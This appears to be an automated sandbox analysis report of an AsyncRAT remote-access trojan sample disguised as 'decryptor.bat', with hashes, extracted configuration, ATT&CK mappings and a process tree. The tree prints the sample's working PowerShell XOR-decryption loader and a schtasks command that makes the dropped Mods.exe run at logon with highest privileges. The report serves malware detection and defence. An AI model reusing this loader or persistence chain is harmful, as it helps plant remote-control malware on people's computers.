asyncrat | b3fdc07731e8df4e6ec21df0ca52e3664d168fb0f520698ccc7e90d827ce322f

Analysis

user interaction
yes
max time kernel
64s
max time network
64s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
26/06/2026, 19:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
decryptor.bat
Size 1KB
Sample260626-x4pndset4v
SHA256 b3fdc07731e8df4e6ec21df0ca52e3664d168fb0f520698ccc7e90d827ce322f
MD5 80c140e78997f097c0003e645ea3bd3b
SHA1 fcf57d850aaac3dfcd500978deb77755281b5895
SHA512 28e4721dc51346b43e3c114c5a4c4a2c0ef31f298ec2d34cd60e667c89db8f0fcd283b3c568addd6bbe032f9267b00f9bb9f77bcdfc35d65012243cadd5ee1b1
TLSH
T1733162143C4F608E05CBC8F36E64E4A66C0F90AF52001E28355C5F483F55551A3FE9F4
MD5 SHA1 SHA512 TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

ymuoQsGwwSru

Attributes

delay
3
install
true
install_file
Mods.exe
install_folder
%AppData%
local_host
127.0.0.1
private_ip
192.168.0.15

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x001f0000000004a9-14.dat	family_asyncrat

Executes dropped EXE 3 IoCs

pid	Process
3824	.dec.exe
2576	Mods.exe
3952	Mods.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mods.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mods.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	.dec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4956	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3892	schtasks.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
2244	powershell.exe
2244	powershell.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe
3824	.dec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	3824	.dec.exe
Token: SeDebugPrivilege	2576	Mods.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 2244	2024	cmd.exe	81
PID 2024 wrote to memory of 3824	2024	cmd.exe	82
PID 3824 wrote to memory of 1856	3824	.dec.exe	84
PID 3824 wrote to memory of 4312	3824	.dec.exe	86
PID 4312 wrote to memory of 4956	4312	cmd.exe	88
PID 1856 wrote to memory of 3892	1856	cmd.exe	89
PID 4312 wrote to memory of 3952	4312	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\decryptor.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "try { $key = [Convert]::FromBase64String('NmM3MDk5NzFmYjY4NGEzOTdjNWNkMTIyZjg4OTgwMDQ='); $data = [IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\msi.exe.enc'); $padding = $data[$data.Length - 1]; $payload = $data[0..($data.Length - 2 - $padding)]; for ($i = 0; $i -lt $payload.Length; $i++) { $payload[$i] = $payload[$i] -bxor $key[$i % $key.Length] }; [IO.File]::WriteAllBytes('.dec.exe', $payload); echo 'Decryption complete: .dec.exe' } catch { Write-Error 'Decryption failed'; exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Users\Admin\AppData\Local\Temp\.dec.exe
  ".dec.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Mods" /tr '"C:\Users\Admin\AppData\Roaming\Mods.exe"' & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1856
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Mods" /tr '"C:\Users\Admin\AppData\Roaming\Mods.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp66F2.tmp.bat""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:4956
  - - C:\Users\Admin\AppData\Roaming\Mods.exe
      "C:\Users\Admin\AppData\Roaming\Mods.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3952

C:\Users\Admin\AppData\Roaming\Mods.exe
"C:\Users\Admin\AppData\Roaming\Mods.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2576

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.dec.exe

Path C:\Users\Admin\AppData\Local\Temp\.dec.exe
Size 65KB
SHA256 58f3c7e56e228bcf37e61f365c5b4a94458a109a4b36871f27c0148025c91d92
MD5 7f55f24ef734e0e5f746db9300701988
SHA1 0943e9077b5d0d71198fb6876e9903b8bcf09705
SHA512 b3b7ddea37614d225fb344df2456f2a8eed00b16a8a33b12a4f0951413b4895e56e9265f05edb82983aa6a2dfb03dda25022652a079a4e1340b92678b0b2bc29
SSDEEP 1536:BugvNTcIb2wQ7YoPvebQUzYZCVJhqdSLReetTxV:BugVTcIb2/7YoPvebQUkYPqEteetTxV
TLSH
T1E7635B003BE98167F37D4E7498FE224186BAF5377602F64E1CC4218B5913BD58A8A5FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_kwpb4wjd.01s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwpb4wjd.01s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmp66F2.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp66F2.tmp.bat
Size 148B
SHA256 4e2715132db0906adda0295c34134208e042c215a692d748fbe00d97d40f33a1
MD5 adfe8a50c56c11fead9af27d342200fe
SHA1 6d39db5573fa991b5a4fdd1ee4a638a6ae38cccf
SHA512 f5e0101bbae3c69ac6714aa47ea8f2e47d7911ff8e8d4b7fb7a94c06c1db1ae53cda702e1c2297fc36b2fd0c35d982d21c248f0df8eed1cd1d21e8d4b4389bff
TLSH
T1B8C02B8251CDEF0E380774A317FBD59EA1F66C193F40BB10D708410D228088CF0D9341
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2244-1-0x00000170D1520000-0x00000170D1530000-memory.dmp

Download

memory/2244-0-0x00000170D1520000-0x00000170D1530000-memory.dmp

Download

memory/2244-2-0x00000170D1480000-0x00000170D14A2000-memory.dmp

Download

memory/2244-9-0x00000170D1520000-0x00000170D1530000-memory.dmp

Download

memory/3824-16-0x0000000000770000-0x0000000000786000-memory.dmp

Download

memory/3824-17-0x0000000005170000-0x0000000005180000-memory.dmp

Download

memory/3824-18-0x00000000051F0000-0x0000000005256000-memory.dmp

Download

memory/3824-19-0x0000000005680000-0x000000000571C000-memory.dmp

Download